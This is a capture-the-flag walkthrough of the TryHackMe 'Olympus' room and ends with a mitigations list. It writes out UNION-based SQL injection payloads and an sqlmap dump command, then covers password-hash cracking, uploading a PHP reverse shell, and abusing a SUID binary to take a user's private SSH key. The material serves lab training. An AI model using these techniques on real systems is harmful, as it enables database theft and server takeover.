# THM - Olympus

| Room  | Olympus                                       |
| ----- | --------------------------------------------- |
| OS    | :penguin: Linux                               |
| Level | <mark style="color:yellow;">**Medium**</mark> |
| Link  | <https://tryhackme.com/room/olympusroom>      |

## Reconnaissance

Diving right in, we add `olympus.thm` to the `/etc/hosts` and start with a basic port scan.

![](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FttawmgGFxeDjiDKHYpgB%2Folympus-portcat.png?alt=media\&token=e2f0c3a5-5deb-4a47-9937-c721c090da96)

We can now follow up on these two ports with a more in depth `nmap` scan:&#x20;

{% tabs %}
{% tab title="Command" %}

```
sudo nmap -A -p22,80 --script=default,vuln olympus.thm
```

{% endtab %}

{% tab title="Output" %}

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0a:78:14:04:2c:df:25:fb:4e:a2:14:34:80:0b:85:39 (RSA)
|   256 8d:56:01:ca:55:de:e1:7c:64:04:ce:e6:f1:a5:c7:ac (ECDSA)
|_  256 1f:c1:be:3f:9c:e7:8e:24:33:34:a6:44:af:68:4c:3c (ED25519)
| vulners: 
|   cpe:/a:openbsd:openssh:8.2p1: 
|     	CVE-2020-15778	6.8	https://vulners.com/cve/CVE-2020-15778
|     	C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3	6.8	https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3	*EXPLOIT*
|     	10213DBE-F683-58BB-B6D3-353173626207	6.8	https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207	*EXPLOIT*

[REDACTED for brevity]

80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:apache:http_server:2.4.41: 
|     	CVE-2022-31813	7.5	https://vulners.com/cve/CVE-2022-31813
|     	CVE-2022-23943	7.5	https://vulners.com/cve/CVE-2022-23943
|     	CVE-2022-22720	7.5	https://vulners.com/cve/CVE-2022-22720

[REDACTED for brevity]

|_    	1337DAY-ID-35422	4.3	https://vulners.com/zdt/1337DAY-ID-35422	*EXPLOIT*
|_http-title: Olympus
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

{% endtab %}
{% endtabs %}

As with many other boxes we can quickly rule out `ssh` as an entry point due to its version and the fact that the room description tells us that brute forcing any login is out of scope.

Hence, we're left with a fairly recent Apache webserver which looks surprisingly small at first glance: only a single landing page without links or much content.

## Service Enumeration

In order to further enumerate the webserver we can fire up `nikto`, though the scan doesn't really come back with a lot of information:

{% tabs %}
{% tab title="Command" %}

```
nikto -h olympus.thm
```

{% endtab %}

{% tab title="Second Tab" %}

```
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3268: /static/: Directory indexing found.
+ 7785 requests: 0 error(s) and 5 item(s) reported on remote host
```

{% endtab %}
{% endtabs %}

It does show the `/static` directory but neither the particles library nor the CSS and images in there contain anything useful. Since there isn't really much to go with so far we'll start a `gobuster` scan:

{% tabs %}
{% tab title="Command" %}

```bash
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://olympus.thm/
```

{% endtab %}

{% tab title="Output" %}

```
/.hta                 (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/~webmaster           (Status: 301) [Size: 315] [--> http://olympus.thm/~webmaster/]
/.htaccess            (Status: 403) [Size: 276]                                     
/index.php            (Status: 200) [Size: 1948]                                    
/javascript           (Status: 301) [Size: 315] [--> http://olympus.thm/javascript/]
/phpmyadmin           (Status: 403) [Size: 276]                                     
/server-status        (Status: 403) [Size: 276]                                     
/static               (Status: 301) [Size: 311] [--> http://olympus.thm/static/]    
```

{% endtab %}
{% endtabs %}

After trying multiple wordlists and extensions, the `common.txt` yields an interesting path:

`/~webmaster` -> navigating to it we are greeted by what looks like a sloppy custom CMS created by the challenge author himself.

![Search page of the self made Victor CMS](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2F2Ey336k3j2QV8qVMi2VE%2Folympus-victorcms.png?alt=media\&token=117a418f-ad25-4f60-b711-84475a1ef4da)

The hygiene of this self made CMS seems pretty poor and while `gobuster` continues to search for recursive directories we'll find that there doesn't seem to be much content on it. However, we do find multiple interesting input elements:

* a search bar
* a login field
* a category URL parameter: `http://olympus.thm/~webmaster/category.php?cat_id=2`

Just out of curiosity let's try and search for `'` to see if that breaks any potential query - and sure enough it does.

![Possible SQL injection via the search bar](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FoSqxy3a7mnDSlqQymRGm%2Folympus-sqlidetected.png?alt=media\&token=cb9b0d10-a8fe-415d-866d-92f4665cc888)

We could continue to look at the login form and the URL parameter, as well as the admin panel that we can reach with BurpSuite by ignoring the redirects back to `index.php` in the location header, but while all of these are fun to play around with we'll stick to the SQL injection we got here.

Fortunately, the error message above is very verbose and we learn not just the DBMS but also an important bit of the query that's being generated. Analyzing the POST that is triggered by clicking on the search icon we could quickly come up with an `sqlmap` command to exploit the SQLI automatically.

```bash
sqlmap -u http://olympus.thm/~webmaster/search.php --data="search=x&submit=" --level=5 --risk=3 --dbms=MySQL --technique=u --dump
```

But that's no fun is it?

For the sake of practice, let's see how we'd go about exploiting this manually step by step.

### Manual SQL Injection

{% hint style="info" %}
Feel free to skip to the next chapter if you already got a database dump and want to continue with the CTF.
{% endhint %}

First of all, we'll start the BurpSuite proxy, catch a search query and send it to the Repeater tab so that we can test our queries efficiently.&#x20;

![](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2F6wfZx1sqzVe4NLzgVoXP%2Folympus-sqli-burp.png?alt=media\&token=0998d420-8047-4d27-b7f3-7cba3603f7dd)

The error message reveals that the SQL query in the background could look something like this:

`SELECT post FROM table WHERE col LIKE '%<INPUT>%' AND post_status='publish';`

Since we control the `<INPUT>` and our goal is to build a working query, we'll have to

1. close the matching string with a `'`
2. put in any SQL query that we like - for example via `UNION`
3. disregard the rest of the query by commenting it with `-- -` (the space is important for the syntax of a comment - the last dash is just for visibility)

With that in mind we can create and test a simple payload like this: `' UNION SELECT NULL-- -`.

![](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FY9euKIxIPGpkBzD3aVAq%2Folympus-sql-union-error.png?alt=media\&token=059f6cb9-59f6-4d12-920e-d6b7a4d50f68)

We get an error that indicates a "*different number of columns*". This happens because the `UNION` statement requires both the left and right SQL query to return the same amount of columns -> meaning that we will have to try again with more values: `' UNION SELECT NULL, NULL-- -`

Increasing the amount of `NULL` values one by one we find that with 10 values in our SELECT statement we finally receive no error and all posts are displayed.

For visibility we'll exchange the `NULL` values with numbers and create a query that will yield no original post: `x' UNION SELECT 0,1,2,3,4,5,6,7,8,9-- -`.

![Detecting the reflection points of our UNION based SQL injection](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2Fe8OMojNhzAVnO3fG09kr%2Folympus-sqli-detect-reflection.png?alt=media\&token=074b801b-4e7b-4cec-9f88-352d1d24e433)

We can pinpoint the locations where our injected values are reflected on the website. For example `2` was probably the `title` column, `3` the author, `4` a date and `6` the content. It seems that not every column is being reflected here but all we need is one for what we're about to do.

With the proof of concept working it's now time to get to the good stuff. Let's skip the version enumeration (`@@version` for MySQL) and jump straight to listing the available tables with this query:

```sql
-- select non default table names in a MySQL database
(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema NOT IN ('mysql', 'information_schema','performance_schema'))
```

Let's put that query in field `4` and don't forget to URL encode the entire query (`CTRL+u` in BurpSuite).&#x20;

![](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2F5kl8NnBlLj6O3Q9GqQBm%2Folympus-sqli-tables.png?alt=media\&token=96e87561-bed4-4cbb-bbae-b61d732220dd)

We can paste those table names somewhere else - format them - and search for interesting tables. `chats`, `comments`, `posts` and `users` seem pretty interesting but let's get the `flag` first!

Having discovered an interesting table name we should now enumerate the column names to see what that table has to offer. For this purpose we can use the following query:

```
(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='flag')
```

Again, pasting the query in any reflected position we get the result: `flag`. That means we have a table `flag` with a single column `flag`. Let's extract that with `(SELECT flag from flag)`.

![Leveraging UNION based SQL injection to retrieve the flag from the MySQL database](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FWNsAclObj6yP1DBnEGUj%2Folympus-sqli-flag.png?alt=media\&token=f7d4bee3-bd4a-41f2-bc18-15c074ef3340)

From here, the process of enumerating and dumping a table just repeats over and over again (it's a good basic SQL practice).&#x20;

{% hint style="success" %}
We successfully used manual UNION based SQL injection to enumerate and dump a table from the MySQL backend database.
{% endhint %}

Whether doing this manually or with a tool like `sqlmap` - we get a bunch of information from these tables. To keep things short, here are the interesting bits and pieces:

* A user `prometheus` with the password hash `$2y$10$YC6u...REDACTED...Dvnj3C`
  * 2 more users with a salted password hash and the emails `root@chat.olympus.thm` and `zeus@chat.olympus.thm` respectively
* A message about an uploaded file with the original name of `prometheus_password.txt` but stored on the server as `47c3210d51761686f3af40a875eeaaea.txt`
* A mention of an upload folder
* A mention of poor password quality for the `prometheus` user

### Password Cracking

Since we're informed that `prometheus` is using bad passwords and we found his password hash in the database, let's try to crack that. A quick search in `hashcat` examples or `haiti` reveals the type of hash:

```bash
└─$ haiti "\$2y\$10\$YC6u...REDACTED...Dvnj3C"
bcrypt [HC: 3200] [JtR: bcrypt]
Blowfish(OpenBSD) [HC: 3200] [JtR: bcrypt]
Woltlab Burning Board 4.x
```

Using `john` or `hashcat` and `rockyou.txt` we can easily retrieve the password.

```
└─$ john -w=/usr/share/wordlists/rockyou.txt hash --format=bcrypt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED]       (?)
```

Unfortunately, the credentials don't work on `ssh`. But we didn't encounter another login so far and we also haven't found the upload directory that was mentioned in the database yet.

So we're back at enumerating the webserver.

### Virtual Host Enumeration

One thing we haven't tested for yet, are subdomains (i.e. other virtual hosts on the target). Let's attempt that with `wfuzz`.

{% tabs %}
{% tab title="Command" %}

```bash
# attempting to fuzz without a restriction shows that all responses
# come back with status code "302" which is a redirect
# so in order to fuzz correctly, we add the flag --follow
wfuzz -c -u http://olympus.thm -H "Host: FUZZ.olympus.thm" --follow -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
```

{% endtab %}

{% tab title="Output" %}

```
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://olympus.thm/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                             
=====================================================================

000000070:   200        41 L     102 W      1577 Ch     "chat"  
```

{% endtab %}
{% endtabs %}

Et voilà, we get a `200` response for `chat.olympus.thm`. Adding this to `/etc/hosts` and visiting it we are greeted with a login form. How fortunate!

We try the credentials we found and gain access to the Olympus Chat App as `prometheus`.

![Access to the Olympic Chat App as prometheus](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FoeoN6uZaeK7VSvKdSNVk%2Folympus-chat.png?alt=media\&token=bcecc589-e1fc-406c-80d2-7ff8e2774b57)

{% hint style="info" %}
On a side note, we could've also deduced `chat.olympus.thm` being a valid vhost by just looking at the email domains of the `zeus` and `root` user in the database.
{% endhint %}

Anyway, see the `prometheus_password.txt`? Looks familiar because we already saw that being mentioned in the database dump of the `chats` table. We could start a `gobuster` scan in the background but common upload directories would be `/upload` or `/uploads` and by testing them manually we rapidly find that `/uploads/` actually exists.

Trying to access `prometheus_password.txt` fails but we know from the database that the file was renamed to `47c3210d51761686f3af40a875eeaaea.txt` -> and that does exist.

{% hint style="info" %}
The file itself doesn't contain anything useful but now we know where uploaded files are stored and how to retrieve the uploaded files name.
{% endhint %}

## Initial Access

The Olympus Chat App does not provide a lot of interaction. We can send messages and upload files or log out and reset our password.

Although we can easily test for XSS on the messages (yes, it's possible) the file upload is much more interesting. Let's just dive right in and upload a standard [php reverse shell](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php). Fair enough, no filter, no errors - the upload was successful.

Using `sqlmap` we can determine the file name of our uploaded reverse shell.

```
sqlmap -u http://olympus.thm/~webmaster/search.php --data="search=x&submit=" --level=5 --risk=3 --dbms=MySQL --technique=u -D olympus -T chats -C file --dump --fresh-queries
```

In my case it's at `chat.olympus.thm/uploads/e90a754682b2fd927a16491b085e7872.php`.

![Using the upload feature of the chat to drop a reverse shell which we can access due to SQLIhint](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FiEEW0UTGUrKIHVbjA38b%2Folympus-www-data.png?alt=media\&token=7cccc3fa-ad6b-4782-8003-e83f61ac3c8e)

{% hint style="success" %}
With access as `www-data` our next step will be to escalate privileges.
{% endhint %}

## Privilege Escalation

`www-data` is not part of any interesting groups, has no interesting files in his home (except one directory which is owned by `root` and `zeus` but that might be important later) and only restricted access to the `home` folder of a user named `zeus`.

Once we get to check for SUID binaries though, we get something interesting:

```bash
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

...
-rwsr-xr-x 1 zeus zeus 17728 Apr 18 09:27 /usr/bin/cputils
...
```

A custom looking binary that's owned by `zeus` and has the SUID bit set. Simply executing it we can see that it can be used to copy files from any source to any destination with the permissions of `zeus`. Additionally, the copied file will be equipped with the octal permissions `0666`, i.e. read-write for everyone.

Since `ssh` is running and we can see a `.ssh` directory in `zeus` home folder we can attempt to extract his private ssh key this way (assuming he didn't remove or rename it and that it's valid).

![Abusing a custom SUID binary to read the private ssh key of zeus](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FU4BUtqagXnYcfmJnU5TK%2Folympus-cputils.png?alt=media\&token=6537335b-c1da-4e64-ab7e-899ddd7bce40)

Saving it on our Kali and connecting to `ssh` we realize that it still requires a password though. But leveraging `ssh2john key` and then using `john` with the wordlist `rockyou.txt` on the resulting hash, we're able to extract the password quite easily. And finally, we can access the machine via `ssh` as `zeus`.

{% hint style="success" %}
We compromised `zeus` and can now submit the second flag.
{% endhint %}

Now that we are `zeus` we can come back to the weird directory in the `/var/www/html/` folder that we found earlier. (And if we weren't curious back then, we could have found it by searching for group accessible files now.) In there we find a weird looking `php` file. Let's see what it does.

![Beginning of a hidden php script on the webserver](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FtbkKCYHpPBno6nRvzvxi%2Folympus-zeus-access.png?alt=media\&token=f4fc2051-e6cc-45e1-ac58-ceb3b90bbac1)

At the very beginning of the script we got a form that checks for a password. Fortunately for us, the password is put there in plaintext. Accessing the form via the browser and utilising the password we get this:

![The hidden php script turns out to be a backdoor](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FMP2aLrqWXjM1QV1VQ9e4%2Folympus-backdoor.png?alt=media\&token=c2a3e777-ab5a-481c-9cb8-060f59cb913e)

It appears we've discovered `prometheus` backdoor. The script is kind enough to let us know how to get a shell so we follow the instructions and gain `root` access.

![Capturing the reverse shell and getting the root flag](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FilVKlmTC5qwJgdLY7MrZ%2Folympus-root-flag.png?alt=media\&token=9a3e661b-7b20-4fc5-ab84-c8247519103a)

{% hint style="success" %}
We succesfully compromised `root` and can submit the third flag.
{% endhint %}

### Bonus Flag

As we saw in the final hint beneath the `root` flag prometheus seems to have hidden another flag on the server somehwere. For this part we can use a common `grep` command that i'd usually use for password hunting:

`grep --color=auto -rnw / -Iie "flag{" 2>/dev/null`

![Yes, the bonus flag file contains a grep command but also the flag{...} :)](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FSMJA28m6QpPlPbi5mbs0%2Folympus-bonus-flag.png?alt=media\&token=e26d6604-e541-4385-bb4e-2c0f869901b1)

{% hint style="success" %}
We can read the`.b0nus.fl4g` file and submit the last flag.
{% endhint %}

## Mitigations

This box has been more like a puzzle than a realistic target and was very well prepared by the author to showcase quite a few vulnerabilities. However, if i were to mention the main issues i think we'd have:

* Severe web-vulnerabilities including SQLI, XSS, Arbitrary File Upload and Broken Authentication (being able to see the admin panel even though we're not logged in)
  * Most of these stem from using unsanitized user input or missing filters -> never trust user input of any form and use proper input handling and filters
* Weak passwords (although the passwords were stored in encrypted form, we were able to crack them) -> enforce a stronger password policy
* Insecure application permission -> remove the SUID bit if it's not absolutely necessary
* Insecure file permissions -> apply the principle of least privilege
